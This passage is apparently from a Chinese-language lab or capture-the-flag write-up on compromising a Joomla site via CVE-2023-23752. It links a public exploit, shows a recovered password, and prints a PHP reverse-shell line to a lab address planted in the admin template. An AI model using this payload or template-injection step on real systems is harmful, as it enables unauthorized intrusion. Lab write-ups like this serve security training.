老常客！Joomla！！
在这，我们知道了该cms的版本！

https://github.com/Acceis/exploit-CVE-2023-23752
该exp使用Ruby语言写的！我们利用一下exp！ 如果缺少模块记得安装！
gem install 模块名
没一会就爆破出来了！

pass:P4ntherg0t1n5r3c0n##
既然进来了，我们只需要找到管理员模板写入shell即可！
模板路径
System->Templates->Administrator Templates->index.php
反弹shell
因为语言是php，所以我们使用php payload
exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.35/1234 0>&1'");
写完之后记得保存！随后访问主页即可触发payload！

我们之前使用漏洞脚本发现该cms是存在数据库的！我们登录一下数据库！
